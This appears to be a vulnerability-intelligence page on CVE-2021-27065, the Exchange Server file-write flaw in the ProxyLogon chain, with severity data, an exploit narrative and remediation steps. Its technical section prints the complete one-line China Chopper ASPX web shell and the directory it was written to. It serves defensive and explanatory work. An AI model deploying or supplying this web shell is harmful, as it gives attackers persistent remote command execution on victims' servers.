Exchange Server
CVE-2021-27065
HIGH
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2021 - Broken Access Control
ASVS 5.0
V4 - Access Control Authorization enforcement, RBAC validation
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Critical risk (EPSS 94.3%). This file write was the key to persistent access in the ProxyLogon campaign. Even after Exchange was patched, web shells remained active until manually discovered and removed. |
| Exploit ScenarioDerived | The ProxyLogon chain: SSRF → deserialization → file write (this CVE). The attacker writes a China Chopper web shell to C:\inetpub\wwwroot\aspnet_client\. The web shell persists indefinitely, providing remote command execution even after the original vulnerabilities are patched. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Microsoft Exchange Server allows post-authentication arbitrary file write that enables web shell deployment, the primary persistence mechanism in the ProxyLogon attack chain responsible for compromising 250,000+ servers.
Earlier versions of this analysis (1)
An arbitrary file write vulnerability in Exchange Server enables writing ASPX web shells to web-accessible directories. This CVE-2021-27065 is the final and most critical link in the ProxyLogon chain, as it provided the persistent access mechanism used by all ProxyLogon attackers.
RemediationAI
Apply patches AND scan for web shells. Check C:\inetpub\wwwroot\aspnet_client\, OWA, and ECP directories for suspicious .aspx files. Run Microsoft's Exchange On-premises Mitigation Tool (EOMT). Review IIS logs for web shell access.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The CWE-22 path traversal in Exchange's file handling allows writing arbitrary content to paths controlled by the attacker. The exploit writes a one-line ASPX web shell (typically the 'China Chopper' web shell: <%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe")%>) to the OWA virtual directory.
Know when Exchange Server gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (microsoft) · only source for this CVE.
CVSS VectorVendor: microsoft
Lifecycle Timeline
4DescriptionCVE.org
Microsoft Exchange Server Remote Code Execution Vulnerability
Executive ViewAI
CVE-2021-27065 presents notable security risk, a path traversal vulnerability rated CVSS 7.8. This could allow attackers to access or modify files outside intended directories, potentially exposing sensitive configuration or credentials. This vulnerability is actively exploited in the wild (KEV-listed) and requires immediate remediation. A patch is available and should be applied as part of regular vulnerability management.
Apply vendor patch. If immediate patching is not feasible: (1) Restrict file upload functionality via WAF; (2) Implement allowlist-based file type validation; (3) Use chroot/containerization to limit filesystem access.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Exchange Server
View allMicrosoft Exchange Server contains a pre-authentication SSRF vulnerability known as 'ProxyShell' that allows unauthentic
Microsoft Exchange Server contains a server-side request forgery (SSRF) vulnerability known as 'ProxyLogon' that allows
Microsoft Exchange Server contains a privilege escalation vulnerability in the PowerShell backend that allows authentica
Microsoft Exchange Server Remote Code Execution Vulnerability. Rated high severity (CVSS 8.8), this vulnerability is rem
Microsoft Exchange Server Information Disclosure Vulnerability. Rated high severity (CVSS 7.3), this vulnerability is re
Microsoft Exchange Server Elevation of Privilege Vulnerability. Rated high severity (CVSS 8.8), this vulnerability is re
Microsoft Exchange Server allows authenticated attackers to write arbitrary files to the server filesystem, the third co
Remote code execution in Microsoft Exchange Server 2013, 2016, and 2019 allows authenticated attackers to execute arbitr
Microsoft Exchange Server Spoofing Vulnerability. Rated medium severity (CVSS 6.5), this vulnerability is remotely explo
Microsoft Exchange Server Unified Messaging service contains a deserialization vulnerability that allows authenticated a
Microsoft Exchange Server Remote Code Execution Vulnerability. Rated high severity (CVSS 7.2), this vulnerability is rem
Microsoft Exchange Server Remote Code Execution Vulnerability. Rated high severity (CVSS 8.8), this vulnerability is rem
NVD
CVE.org
CISA KEV
EPSS
Exploit-DB
GitHub PoC